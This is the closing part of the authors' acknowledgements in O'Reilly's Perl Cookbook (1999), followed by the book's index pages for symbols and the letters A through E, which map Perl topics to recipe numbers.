Thanks also to my instructors who sacrificed themselves to travel to perilous places like New Jersey to teach Perl in my stead. I'd like to thank Tim O'Reilly and Frank Willison first for being talked into publishing this book, and second for letting time-to-market take a back seat to time-to-quality. Thanks also to Linda, our shamelessly honest editor, for shepherding dangerously rabid sheep through the eye of a release needle.

Most of all, I want to thank my mother, Mary, for tearing herself away from her work in prairie restoration and teaching high school computer and biological sciences to keep both my business and domestic life in smooth working order long enough for me to research and write this book.

Finally, I'd like to thank Johann Sebastian Bach, who was for me a boundless font of perspective, poise, and inspiration - a therapy both mental and physical. I am certain that forevermore the Cookbook will evoke for me the sounds of BWV 849, now indelibly etched into the wetware of head and hand.

Nat

Without my family's love and patience, I'd be baiting hooks in a 10-foot swell instead of mowing my lawn in suburban America. Thank you! My friends have taught me much: Jules, Amy, Raj, Mike, Kef, Sai, Robert, Ewan, Pondy, Mark, and Andy. I owe a debt of gratitude to the denizens of Nerdsholm, who gave sound technical advice and introduced me to my wife (they didn't give me sound technical advice on her, though). Thanks also to my employer, Front Range Internet, for a day job I don't want to quit.

Tom was a great co-author. Without him, this book would be nasty, brutish, and short. Finally, I have to thank Jenine. We'd been married a year when I accepted the offer to write, and we've barely seen each other since then. Nobody will savour the final full-stop in this sentence more than she.

Previous: We'd Like to Hear from You | Perl Cookbook | Next: 1. Strings
We'd Like to Hear from You | Book Index | 1. Strings


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

&& operator : 1.2. Establishing a Default Value
* to store filehandles
7.0. Introduction
7.16. Storing Filehandles in Variables
@_ array : 10.1. Accessing Subroutine Arguments
\ (backslash)
escape characters : 1.13. Escaping Characters
operator
10.5. Passing Arrays and Hashes by Reference
11.5. Taking References to Scalars
` (backtick)
expanding : 1.10. Interpolating Functions and Expressions Within Strings
operator
16.1. Gathering Output from a Program
19.6. Executing Commands Without Shell Escapes
qx(�) : 4.1. Specifying a List In Your Program
, (comma)
(see also CSV)
4.2. Printing a List with Commas
printing lists with commas : 4.2. Printing a List with Commas
$ variables
$` variable : 6.0. Introduction
$^W variable : 13.5. Using Classes as Structs
$+ variable : 6.0. Introduction
$' variable : 6.0. Introduction
$; variable : 9.4. Recognizing Two Names for the Same File
$/ variable : 8.0. Introduction
$_ variable
accidental clobbering : 4.4. Doing Something with Every Element in a List
outlawing unauthorized use
1.18. Program: psgrep
13.15. Creating Magic Variables with tie
$| variable
7.0. Introduction
7.12. Flushing Output
$1, $2, ... (backreferences) : 6.0. Introduction
finding duplicate words : 6.16. Detecting Duplicate Words
. (dot) in numbers : 2.17. Putting Commas in Numbers
.. and ... (range) operators : 6.8. Extracting a Range of Lines
=> (comma arrow) operator : 5.0. Introduction
=~ operator, s///, m//, and tr/// with : 1.1. Accessing Substrings
-> (infix) notation : 11.0. Introduction
-> operator : 13.0. Introduction
<�> for globbing : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
<�> (diamond) operator
7.0. Introduction
7.7. Writing a Filter
8.0. Introduction
17.0. Introduction
< access mode : 7.0. Introduction
<&= and <& open modes : 7.19. Opening and Closing File Descriptors by Number
<=> (comparison) operator : 4.14. Sorting an Array Numerically
% for hashes : 5.0. Introduction
> access mode : 7.0. Introduction
>> access mode : 7.0. Introduction
/ (root directory) : 9.0. Introduction
~ (tilde) in filenames, expanding : 7.3. Expanding Tildes in Filenames
_ (file stat cache) : 9.0. Introduction
|| operator : 1.2. Establishing a Default Value
||= (assignment) operator : 1.2. Establishing a Default Value
"0 but not true"
10.10. Returning Failure
17.2. Writing a TCP Server
-0 command-line option : 8.0. Introduction
"1 while" : 1.7. Expanding and Compressing Tabs
"500 Server Error", fixing : 19.3. Fixing a 500 Server Error

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

\a escape for terminal bell : 15.7. Ringing the Terminal Bell
abbreviations, matching : 6.20. Matching Abbreviations
accept(�)
17.0. Introduction
17.2. Writing a TCP Server
access log (web server) : 19.0. Introduction
access_log files : 20.12. Parsing a Web Server Log File
access modes : 7.0. Introduction
access to database : (see database access)
addresses (email), matching : 6.19. Matching a Valid Mail Address
advisory locking : 7.11. Locking a File
alarm(�) : 16.21. Timing Out an Operation
alarm, ringing : 15.7. Ringing the Terminal Bell
Alias module : 13.3. Managing Instance Data
aliases
for filehandles : 7.20. Copying Filehandles
for functions : 10.14. Redefining a Function
for list elements : 4.4. Doing Something with Every Element in a List
AND functionality in regular expressions : 6.17. Expressing AND, OR, and NOT in a Single Pattern
angles in degrees vs. radians : 2.11. Doing Trigonometry in Degrees, not Radians
anonymous data : 11.0. Introduction
Apache
log files : 20.12. Parsing a Web Server Log File
mod_perl module : 19.5. Making CGI Scripts Efficient
appendhash_demo program (example) : 13.15. Creating Magic Variables with tie
appending arrays to each other : 4.9. Appending One Array to Another
approximate (fuzzy) matching : 6.13. Approximate Matching
arguments, subroutine : 10.1. Accessing Subroutine Arguments
function prototypes : 10.11. Prototyping Functions
passing by named parameter : 10.7. Passing by Named Parameter
passing by reference : 10.5. Passing Arrays and Hashes by Reference
ARGV, magic : (see magic open)
arithmetic
binary numbers : 2.0. Introduction
complex (imaginary) numbers : 2.15. Using Complex Numbers
matrix multiplication : 2.14. Multiplying Matrices
$#ARRAY variable : 4.3. Changing Array Size
arrays : 4.0. Introduction
anonymous : 11.0. Introduction
appending multiple : 4.9. Appending One Array to Another
changing size of : 4.3. Changing Array Size
circular : 4.16. Implementing a Circular List
extracting particular elements : 4.6. Extracting Unique Elements from a List
extracting particular subsets : 4.13. Finding All Elements in an Array Matching Certain Criteria
hashes of : 11.2. Making Hashes of Arrays
initializing : 4.1. Specifying a List In Your Program
iterating through all elements
4.4. Doing Something with Every Element in a List
4.12. Finding the First List Element That Passes a Test
last valid index ($#ARRAY) : 4.3. Changing Array Size
lists vs. : 4.0. Introduction
matrix multiplication : 2.14. Multiplying Matrices
multidimensional : 4.0. Introduction
permute program : 4.19. Program: permute
printing elements with commas : 4.2. Printing a List with Commas
processing multiple elements : 4.11. Processing Multiple Elements of an Array
randomizing : 4.17. Randomizing an Array
randomly selecting from : 2.7. Generating Random Numbers
reading files backwards : 8.4. Reading a File Backwards by Line or Paragraph
references to : 11.1. Taking References to Arrays
reversing elements of : 4.10. Reversing an Array
of scalar references : 11.6. Creating Arrays of Scalar References
sorting elements : 4.14. Sorting an Array Numerically
text files as database arrays : 14.7. Treating a Text File as a Database Array
unions, intersections, differences : 4.7. Finding Elements in One Array but Not Another
words program (example) : 4.18. Program: words
arrow (->) operator : 11.0. Introduction
ASCII characters : (see characters)
assignment (||=) operator : 1.2. Establishing a Default Value
assignment, list : 1.3. Exchanging Values Without Using Temporary Variables
associative arrays : (see hashes)
atime field : 9.0. Introduction
attributes, object
13.0. Introduction
13.3. Managing Instance Data
inheritance and : 13.12. Solving the Data Inheritance Problem
autoflush(�)
7.12. Flushing Output
16.10. Communicating Between Related Processes
AUTOLOAD mechanism
10.15. Trapping Undefined Function Calls with AUTOLOAD
13.0. Introduction
13.11. Generating Attribute Methods Using AUTOLOAD
AutoLoader module : 12.10. Speeding Up Module Loading with Autoloader
autovivification : 11.0. Introduction

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

B-tree implementation (DB_File) : 14.6. Sorting Large DBM Files
backreferences ($1, $2, ...) : 6.0. Introduction
finding duplicate words : 6.16. Detecting Duplicate Words
backslash (\)
escaping characters : 1.13. Escaping Characters
operator
10.5. Passing Arrays and Hashes by Reference
11.5. Taking References to Scalars
backsniff program (example) : 17.17. Program: backsniff
backtick (`)
expanding : 1.10. Interpolating Functions and Expressions Within Strings
operator
16.1. Gathering Output from a Program
19.6. Executing Commands Without Shell Escapes
qx(�) : 4.1. Specifying a List In Your Program
backtracking in pattern matching : 6.0. Introduction
bad hyperlinks, finding : 20.7. Finding Stale Links
base class : 13.0. Introduction
empty base class test : 13.9. Writing an Inheritable Class
basename(�) : 9.10. Splitting a Filename into Its Component Parts
=begin pod directive : 12.16. Documenting Your Module with Pod
bell, ringing : 15.7. Ringing the Terminal Bell
Berkeley DB library : 14.0. Introduction
bgets program (example) : 8.14. Reading a String from a Binary File
biased random numbers : 2.10. Generating Biased Random Numbers
biclient program (example) : 17.10. Writing Bidirectional Clients
bidirectional clients : 17.10. Writing Bidirectional Clients
bigfact program (example) : 2.19. Program: Calculating Prime Factors
binary files
processing : 8.11. Processing Binary Files
reading strings from : 8.14. Reading a String from a Binary File
binary numbers
arithmetic on : 2.0. Introduction
convering with decimal numbers : 2.4. Converting Between Binary and Decimal
binary tree structures : 11.15. Program: Binary Trees
bind(�) : 17.0. Introduction
binmode(�) : 8.11. Processing Binary Files
bintree program (example) : 11.15. Program: Binary Trees
bitwise operators : 1.9. Controlling Case
bless(�)
13.0. Introduction
13.1. Constructing an Object
blessing : 13.0. Introduction
blocking file access
7.11. Locking a File
7.21. Program: netlock
region-specific locks : 7.22. Program: lockarea
blocking signals : 16.20. Blocking Signals
Boolean connectives in patterns : 6.17. Expressing AND, OR, and NOT in a Single Pattern
Boolean truth : 1.0. Introduction
buffered input/output
7.0. Introduction
7.12. Flushing Output
8.0. Introduction
controlling for other programs : 16.8. Controlling Input and Output of Another Program
socket programming and : 17.3. Communicating over TCP
building modules from CPAN : 12.17. Building and Installing a CPAN Module
bysub1 program (example) : 10.17. Program: Sorting Your Mail
bysub2 program (example) : 10.17. Program: Sorting Your Mail
bysub3 program (example) : 10.17. Program: Sorting Your Mail

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

%c format : 1.4. Converting Between ASCII Characters and Values
C, writing modules in : 12.15. Using h2xs to Make a Module with C Code
cacheout(�) : 7.17. Caching Open Output Filehandles
caching open filehandles : 7.17. Caching Open Output Filehandles
calc_new_date(�) : 3.4. Adding to or Subtracting from a Date
calc_new_date_time(�) : 3.4. Adding to or Subtracting from a Date
calculating prime numbers : 2.19. Program: Calculating Prime Factors
caller(�)
10.4. Determining Current Function Name
12.5. Determining the Caller's Package
can(�) (UNIVERSAL) : 13.7. Calling Methods Indirectly
capitalization
case-insensitive hashes : 13.15. Creating Magic Variables with tie
converting between cases : 1.9. Controlling Case
honoring locale when matching : 6.12. Honoring Locale Settings in Regular Expressions
Carp module : 12.12. Reporting Errors and Warnings Like Built-Ins
carriage returns : (see line breaks; whitespace)
cascade menu entries : 15.14. Creating Menus with Tk
case
converting : 1.9. Controlling Case
honoring locale when matching : 6.12. Honoring Locale Settings in Regular Expressions
cbreak mode : 15.6. Reading from the Keyboard
ceil(�) : 2.3. Rounding Floating-Point Numbers
CGI programming : 19.0. Introduction
chemiserie program (example) : 19.14. Program: chemiserie
cookies : 19.10. Managing Cookies
debugging HTTP exchanges : 19.9. Debugging the Raw HTTP Exchange
errors
500 Server Error : 19.3. Fixing a 500 Server Error
redirecting messages : 19.2. Redirecting Error Messages
HTTP methods
19.0. Introduction
19.1. Writing a CGI Script
improving efficiency of : 19.5. Making CGI Scripts Efficient
multiscreen scripts : 19.12. Writing a Multiscreen CGI Script
redirecting requests : 19.8. Redirecting to a Different Location
saving/mailing HTML forms : 19.13. Saving a Form to a File or Mail Pipe
security and
19.0. Introduction
19.4. Writing a Safe CGI Program
executing user commands : 19.6. Executing Commands Without Shell Escapes
sticky widgets : 19.11. Creating Sticky Widgets
writing scripts : 19.1. Writing a CGI Script
CGI.pm module
19.0. Introduction
19.1. Writing a CGI Script
HTML formatting shortcuts : 19.7. Formatting Lists and Tables with HTML Shortcuts
managing cookies : 19.10. Managing Cookies
CGI::Carp module : 19.2. Redirecting Error Messages
changed web pages, links in : 20.8. Finding Fresh Links
characters
converting ASCII to/from HTML : 20.4. Converting ASCII to HTML
converting ASCII with values : 1.4. Converting Between ASCII Characters and Values
converting case : 1.9. Controlling Case
escaping : 1.13. Escaping Characters
matching letters : 6.2. Matching Letters
multiple-byte, matching : 6.18. Matching Multiple-Byte Characters
parsing command-line arguments : 15.1. Parsing Program Arguments
processing individually : 1.5. Processing a String One Character at a Time
reversing : 1.6. Reversing a String by Word or Character
text color, changing : 15.5. Changing Text Color
checkbutton menu entries : 15.14. Creating Menus with Tk
checkuser program (example) : 15.10. Reading Passwords
chemiserie program (example) : 19.14. Program: chemiserie
chr(�) : 1.4. Converting Between ASCII Characters and Values
circular data structures : 13.13. Coping with Circular Data Structures
circular lists : 4.16. Implementing a Circular List
class attributes
13.0. Introduction
13.4. Managing Class Data
class data
13.0. Introduction
13.4. Managing Class Data
circular data structures : 13.13. Coping with Circular Data Structures
class methods
13.0. Introduction
13.4. Managing Class Data
Class::Struct module : 13.5. Using Classes as Structs
classes : 13.0. Introduction
accessing overridden methods : 13.10. Accessing Overridden Methods
determining subclass membership : 13.8. Determining Subclass Membership
generating methods with AUTOLOAD
13.0. Introduction
13.11. Generating Attribute Methods Using AUTOLOAD
inheritance
13.0. Introduction
13.9. Writing an Inheritable Class
13.12. Solving the Data Inheritance Problem
as structs : 13.5. Using Classes as Structs
cleaning up modules : 12.6. Automating Module Clean-Up
clear command : 15.3. Clearing the Screen
clearerr(�) : 8.5. Trailing a Growing File
clients
bidirectional : 17.10. Writing Bidirectional Clients
FTP : 18.2. Being an FTP Client
TCP : 17.1. Writing a TCP Client
UDP : 17.4. Setting Up a UDP Client
clobbering values : 1.3. Exchanging Values Without Using Temporary Variables
clockdrift program (example) : 17.4. Setting Up a UDP Client
cloning parent objects : 13.6. Cloning Objects
close(�)
7.0. Introduction
7.19. Opening and Closing File Descriptors by Number
file locks and : 7.11. Locking a File
closedir(�) : 9.0. Introduction
closing file descriptors : 7.19. Opening and Closing File Descriptors by Number
closures
10.16. Nesting Subroutines
11.4. Taking References to Functions
12.13. Referring to Packages Indirectly
as objects : 11.7. Using Closures Instead of Objects
cmd3sel program (example) : 16.9. Controlling the Input, Output, and Error of Another Program
cmp(�) : 4.14. Sorting an Array Numerically
code size, library : 14.0. Introduction
color of text, changing : 15.5. Changing Text Color
color(�) (Term::ANSIColor) : 15.5. Changing Text Color
colored(�) (Term::ANSIColor) : 15.5. Changing Text Color
columns
arranging du command output : 5.16. Program: dutree
outputting sorting text in : 4.18. Program: words
parsing data by : 1.1. Accessing Substrings
wrapping paragraphs by : 1.12. Reformatting Paragraphs
comma (,)
in numbers : 2.17. Putting Commas in Numbers
printing lists with commas : 4.2. Printing a List with Commas
comma arrow (=>) operator : 5.0. Introduction
comma-separated values (CSV)
initializing arrays with : 4.1. Specifying a List In Your Program
parsing : 1.15. Parsing Comma-Separated Data
reading records from : 6.7. Reading Records with a Pattern Separator
command entry (menu items) : 15.14. Creating Menus with Tk
command interpreters : 1.13. Escaping Characters
command-line arguments, parsing : 15.1. Parsing Program Arguments
comments
pod documentation for modules : 12.16. Documenting Your Module with Pod
in regular expressins : 6.4. Commenting Regular Expressions
commify(�) (example) : 2.17. Putting Commas in Numbers
commify_series program (example) : 4.2. Printing a List with Commas
Common Log Format standard : 20.12. Parsing a Web Server Log File
comparing
floating-point numbers : 2.2. Comparing Floating-Point Numbers
hashes for keys : 5.11. Finding Common or Different Keys in Two Hashes
comparison (<=>) operator : 4.14. Sorting an Array Numerically
compile-time scoping : 10.13. Saving Global Values
complex numbers : 2.15. Using Complex Numbers
Comprehensive Perl Archive Network : (see CPAN)
compressing tabs : 1.7. Expanding and Compressing Tabs
confess(�) : 12.12. Reporting Errors and Warnings Like Built-Ins
Config module : 16.13. Listing Available Signals
configuration files, reading : 8.16. Reading Configuration Files
Configure event (Tk) : 15.16. Responding to Tk Resize Events
constructors
13.0. Introduction
13.1. Constructing an Object
accessing overridden methods : 13.10. Accessing Overridden Methods
cloning parent objects : 13.6. Cloning Objects
continuation characters, reading data with : 8.1. Reading Lines with Continuation Characters
conventions : Conventions Used in This Book
converting
ASCII characters and values : 1.4. Converting Between ASCII Characters and Values
ASCII to/from HTML : 20.4. Converting ASCII to HTML
binary and decimal numbers : 2.4. Converting Between Binary and Decimal
character case : 1.9. Controlling Case
datetime to/from Epoch seconds : 3.2. Converting DMYHMS to Epoch Seconds
DBM files : 14.3. Converting Between DBM Files
degrees and radians : 2.11. Doing Trigonometry in Degrees, not Radians
numbers and Roman numerals : 2.6. Working with Roman Numerals
octal and hexadecimal numbers : 2.16. Converting Between Octal and Hexadecimal
pod into other languages : 12.16. Documenting Your Module with Pod
shell wildcards for regexp matching : 6.9. Matching Shell Globs as Regular Expressions
cookies : 19.10. Managing Cookies
copy(�) (File::Copy) : 9.3. Copying or Moving a File
copying
data structures : 11.12. Copying Data Structures
directory trees : 9.11. Program: symirror
filehandles : 7.20. Copying Filehandles
files : 9.3. Copying or Moving a File
parent objects (cloning) : 13.6. Cloning Objects
surface vs. deep copies : 11.12. Copying Data Structures
copying and substituting : 6.1. Copying and Substituting Simultaneously
cos(�) : 2.12. Calculating More Trigonometric Functions
countchunks program (example) : 7.7. Writing a Filter
counting lines in files : 8.2. Counting Lines (or Paragraphs or Records) in a File
CPAN : 12.0. Introduction
building and installing modules from : 12.17. Building and Installing a CPAN Module
finding modules, program for : 12.19. Program: Finding Versions and Descriptions of Installed Modules
registering as developer : 12.8. Preparing a Module for Distribution
creation time, file : 9.0. Introduction
croak(�) : 12.12. Reporting Errors and Warnings Like Built-Ins
CSV (comma-separated values)
initializing arrays with : 4.1. Specifying a List In Your Program
parsing : 1.15. Parsing Comma-Separated Data
reading records from : 6.7. Reading Records with a Pattern Separator
ctime field : 9.0. Introduction
Ctrl-C, catching : 16.18. Catching Ctrl-C
Curses module : 15.12. Managing the Screen
curses toolkit : 15.0. Introduction
Cwd module : 12.11. Overriding Built-In Functions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

daemon servers
16.22. Program: sigrand
17.15. Making a Daemon Server
data structures
binary trees : 11.15. Program: Binary Trees
copying : 11.12. Copying Data Structures
printing : 11.11. Printing Data Structures
storing to disk : 11.13. Storing Data Structures to Disk
transparently persistent : 11.14. Transparently Persistent Data Structures
__DATA__ tokens : 7.6. Storing Files Inside Your Program Text
data types
circular data structures : 13.13. Coping with Circular Data Structures
classes as structs : 13.5. Using Classes as Structs
data, relationships between
(see also variables)
5.15. Representing Relationships Between Data
Data::Dumper module : 11.11. Printing Data Structures
database access : 14.0. Introduction
converting between DBM files : 14.3. Converting Between DBM Files
emptying DBM files : 14.2. Emptying a DBM File
ggh program : 14.11. Program: ggh - Grep Netscape Global History
locking DBM files : 14.5. Locking DBM Files
making DBM files : 14.1. Making and Using a DBM File
merging DBM files : 14.4. Merging DBM Files
persistent data : 14.9. Persistent Data
sorting large DBM files : 14.6. Sorting Large DBM Files
SQL queries
14.10. Executing an SQL Command Using DBI and DBD
19.7. Formatting Lists and Tables with HTML Shortcuts
storing complex data in DBM files : 14.8. Storing Complex Data in a DBM File
text files as database arrays : 14.7. Treating a Text File as a Database Array
database queries : 19.7. Formatting Lists and Tables with HTML Shortcuts
datagram sockets
17.0. Introduction
17.4. Setting Up a UDP Client
date and time : 3.0. Introduction
arithmetic with : 3.4. Adding to or Subtracting from a Date
converting to/from Epoch seconds : 3.2. Converting DMYHMS to Epoch Seconds
Date::DateCalc module
3.0. Introduction
3.4. Adding to or Subtracting from a Date
3.5. Difference of Two Dates
3.6. Day in a Week/Month/Year or Week Number
Date::Manip module
3.0. Introduction
3.7. Parsing Dates and Times from Strings
3.8. Printing a Date
3.11. Program: hopdelta
days, calculating : 3.6. Day in a Week/Month/Year or Week Number
file access timestamps : 9.1. Getting and Setting Timestamps
high-resolution timers : 3.9. High-Resolution Timers
hopdelta program : 3.11. Program: hopdelta
parsing information from strings : 3.7. Parsing Dates and Times from Strings
printing : 3.8. Printing a Date
sleeps : 3.10. Short Sleeps
sorting mail by (example) : 10.17. Program: Sorting Your Mail
Time::gmtime modules
3.0. Introduction
3.3. Converting Epoch Seconds to DMYHMS
Time::HiRes module : 3.9. High-Resolution Timers
Time::Local module
3.0. Introduction
3.2. Converting DMYHMS to Epoch Seconds
Time::localtime : 3.0. Introduction
Time::timelocal : 3.3. Converting Epoch Seconds to DMYHMS
Time::tm module : 3.0. Introduction
timing out operations : 16.21. Timing Out an Operation
today's : 3.1. Finding Today's Date
years : 3.0. Introduction
date_difference(�) : 3.5. Difference of Two Dates
date_time_difference(�) : 3.5. Difference of Two Dates
DateCalc(�) : 3.11. Program: hopdelta
dates_difference(�)
3.5. Difference of Two Dates
3.6. Day in a Week/Month/Year or Week Number
datesort program (example) : 10.17. Program: Sorting Your Mail
day_of_week(�) : 3.6. Day in a Week/Month/Year or Week Number
days : (see date and time)
db2gdbm program (example) : 14.3. Converting Between DBM Files
DB_File module : 11.14. Transparently Persistent Data Structures
sorting large DBM files : 14.6. Sorting Large DBM Files
text files as database arrays : 14.7. Treating a Text File as a Database Array
DB_RECNO access method : 8.8. Reading a Particular Line in a File
DBD module : 14.10. Executing an SQL Command Using DBI and DBD
DBI module
14.10. Executing an SQL Command Using DBI and DBD
19.7. Formatting Lists and Tables with HTML Shortcuts
20.9. Creating HTML Templates
dblockdemo program (example) : 14.5. Locking DBM Files
DBM files
complex data in : 14.8. Storing Complex Data in a DBM File
converting between : 14.3. Converting Between DBM Files
emptying : 14.2. Emptying a DBM File
GDBM files
14.0. Introduction
14.3. Converting Between DBM Files
locking : 14.5. Locking DBM Files
making and using : 14.1. Making and Using a DBM File
merging : 14.4. Merging DBM Files
NDBM files : 14.0. Introduction
sorting : 14.6. Sorting Large DBM Files
DBM libraries : 14.0. Introduction
dbmclose(�) : 14.1. Making and Using a DBM File
dbmopen(�)
14.0. Introduction
14.1. Making and Using a DBM File
dbusers program (example) : 14.10. Executing an SQL Command Using DBI and DBD
dclone(�) : 11.12. Copying Data Structures
debugging
CGI script errors : 19.0. Introduction
500 Server Error : 19.3. Fixing a 500 Server Error
HTTP exchanges : 19.9. Debugging the Raw HTTP Exchange
decimal numbers, converting
binary numbers : 2.4. Converting Between Binary and Decimal
octal and hexadecimal numbers : 2.16. Converting Between Octal and Hexadecimal
deep copies : 11.12. Copying Data Structures
default string values : 1.2. Establishing a Default Value
defined operator : 1.2. Establishing a Default Value
definedness
1.0. Introduction
1.2. Establishing a Default Value
deg2rad(�) (example) : 2.11. Doing Trigonometry in Degrees, not Radians
degrees vs. radians : 2.11. Doing Trigonometry in Degrees, not Radians
delaying module loading : 12.3. Delaying use Until Run Time
delete(�) : 5.3. Deleting from a Hash
multiple hash key values : 5.7. Hashes with Multiple Values Per Key
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
deleting
clearing the screen : 15.3. Clearing the Screen
directories and their contents : 9.8. Removing a Directory and Its Contents
DOS shell window : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
emptying DBM files : 14.2. Emptying a DBM File
files : 9.2. Deleting a File
hash elements : 5.3. Deleting from a Hash
HTML tags from strings : 20.6. Extracting or Removing HTML Tags
last line of files : 8.10. Removing the Last Line of a File
selected subroutine return values : 10.8. Skipping Selected Return Values
whitespace at string ends : 1.14. Trimming Blanks from the Ends of a String
dequote(�) : 1.11. Indenting Here Documents
dereferencing : (see references)
derived classes : 13.0. Introduction
destructors
13.0. Introduction
13.2. Destroying an Object
deterministic finite automata : 6.0. Introduction
DFA (deterministic finite automata) : 6.0. Introduction
dialog boxes with Tk toolkit : 15.15. Creating Dialog Boxes with Tk
DialogBox widget (Tk) : 15.15. Creating Dialog Boxes with Tk
diamond (<�>) operator
7.0. Introduction
7.7. Writing a Filter
8.0. Introduction
17.0. Introduction
die function : 10.12. Handling Exceptions
__DIE__ signal : 16.15. Installing a Signal Handler
differences of lists : 4.7. Finding Elements in One Array but Not Another
directories : 9.0. Introduction
copying or moving files : 9.3. Copying or Moving a File
deleting : 9.8. Removing a Directory and Its Contents
deleting files in : 9.2. Deleting a File
of modules : 12.7. Keeping Your Own Module Directory
multiple names for same file : 9.4. Recognizing Two Names for the Same File
parsing filenames : 9.10. Splitting a Filename into Its Component Parts
processing all files in
9.5. Processing All Files in a Directory
9.7. Processing All Files in a Directory Recursively
recursively duplicating : 9.11. Program: symirror
renaming files : 9.9. Renaming Files
sorting contents of
9.0. Introduction
9.12. Program: lst
timestamps : 9.1. Getting and Setting Timestamps
directory handles : 9.5. Processing All Files in a Directory
dirname(�) : 9.10. Splitting a Filename into Its Component Parts
disk usage, library : 14.0. Introduction
DMYHMS values : (see date and time)
DNS lookups : 18.1. Simple DNS Lookups
do(�) : 8.16. Reading Configuration Files
documentation conventions : Conventions Used in This Book
domains
getting information on : 18.8. Using Whois to Retrieve Information from the InterNIC
for sockets : 17.0. Introduction
Dominus, Mark-Jason : 4.19. Program: permute
DOS shell window, removing : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
dots (.) in numbers : 2.17. Putting Commas in Numbers
double quotes : 1.0. Introduction
qq(�) : 4.1. Specifying a List In Your Program
drivelock program (example) : 7.21. Program: netlock
du command, sorting output of : 5.16. Program: dutree
dummyhttpd program (example) : 19.9. Debugging the Raw HTTP Exchange
duplicate
list elements, extracting : 4.6. Extracting Unique Elements from a List
words, finding : 6.16. Detecting Duplicate Words
dutree program (example) : 5.16. Program: dutree
dutree_orig program (example) : 5.16. Program: dutree
dynamic scoping : 10.13. Saving Global Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

\E string metacharacter : 1.13. Escaping Characters
/e substitution modifier
1.8. Expanding Variables in User Input
6.0. Introduction
6.4. Commenting Regular Expressions
7.7. Writing a Filter
each(�) : 5.10. Merging Hashes
eager pattern matching : 6.0. Introduction
echo and password input : 15.10. Reading Passwords
editing files : (see file contents)
editing input : 15.11. Editing Input
/ee substitution modifier
1.8. Expanding Variables in User Input
6.4. Commenting Regular Expressions
elements of arrays : (see arrays)
elements of hashes : (see hashes)
email
matching valid addresses : 6.19. Matching a Valid Mail Address
random signatures : 16.22. Program: sigrand
reading with POP3 : 18.5. Reading Mail with POP3
sending : 18.3. Sending Mail
sending HTML forms via : 19.13. Saving a Form to a File or Mail Pipe
sorting (example subroutine) : 10.17. Program: Sorting Your Mail
tracking time path of : 3.11. Program: hopdelta
empty base class test : 13.9. Writing an Inheritable Class
empty string ("") : 1.0. Introduction
encodings, multiple-byte : 6.18. Matching Multiple-Byte Characters
=end pod directive : 12.16. Documenting Your Module with Pod
__END__ tokens : 7.6. Storing Files Inside Your Program Text
Epoch : (see date and time)
errors
CGI scripts : 19.0. Introduction
500 Server Error : 19.3. Fixing a 500 Server Error
redirecting error messages : 19.2. Redirecting Error Messages
controlling for other programs : 16.9. Controlling the Input, Output, and Error of Another Program
exceptions in subroutines : 10.12. Handling Exceptions
reading STDERR from programs : 16.7. Reading STDERR from a Program
reporting filenames in : 7.4. Making Perl Report Filenames in Errors
reporting like built-ins : 12.12. Reporting Errors and Warnings Like Built-Ins
returning failure from subroutines : 10.10. Returning Failure
trapping in require/use statements : 12.2. Trapping Errors in require or use
trapping undefined function calls : 10.15. Trapping Undefined Function Calls with AUTOLOAD
web server error log
19.0. Introduction
20.13. Processing Server Logs
escaping chacters : 1.13. Escaping Characters
eval(�)
in substitution
1.8. Expanding Variables in User Input
6.0. Introduction
6.4. Commenting Regular Expressions
with require/use statement : 12.2. Trapping Errors in require or use
events, Tk resize : 15.16. Responding to Tk Resize Events
exceptions
handling in subroutines : 10.12. Handling Exceptions
trapping undefined function calls : 10.15. Trapping Undefined Function Calls with AUTOLOAD
exclusive locks : 7.11. Locking a File
exec(�)
16.0. Introduction
16.3. Replacing the Current Program with a Different One
19.6. Executing Commands Without Shell Escapes
exists(�) : 5.1. Adding an Element to a Hash
multiple hash key values : 5.7. Hashes with Multiple Values Per Key
expanding tabs : 1.7. Expanding and Compressing Tabs
expanding variables in user input : 1.8. Expanding Variables in User Input
Expect module : 15.13. Controlling Another Program with Expect
Expect, controlling programs with : 15.13. Controlling Another Program with Expect
expn program (example) : 18.9. Program: expn and vrfy
@EXPORT array (use pragma) : 12.1. Defining a Module's Interface
@EXPORT_OK array (use pragma) : 12.1. Defining a Module's Interface
@EXPORT_TAGS array (use pragma) : 12.1. Defining a Module's Interface
Exporter module
12.0. Introduction
12.1. Defining a Module's Interface
exporting to modules : 12.0. Introduction
expressions, interpolating within strings : 1.10. Interpolating Functions and Expressions Within Strings
extracting from arrays : (see arrays)
extracting URLs from HTML : 20.3. Extracting URLs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
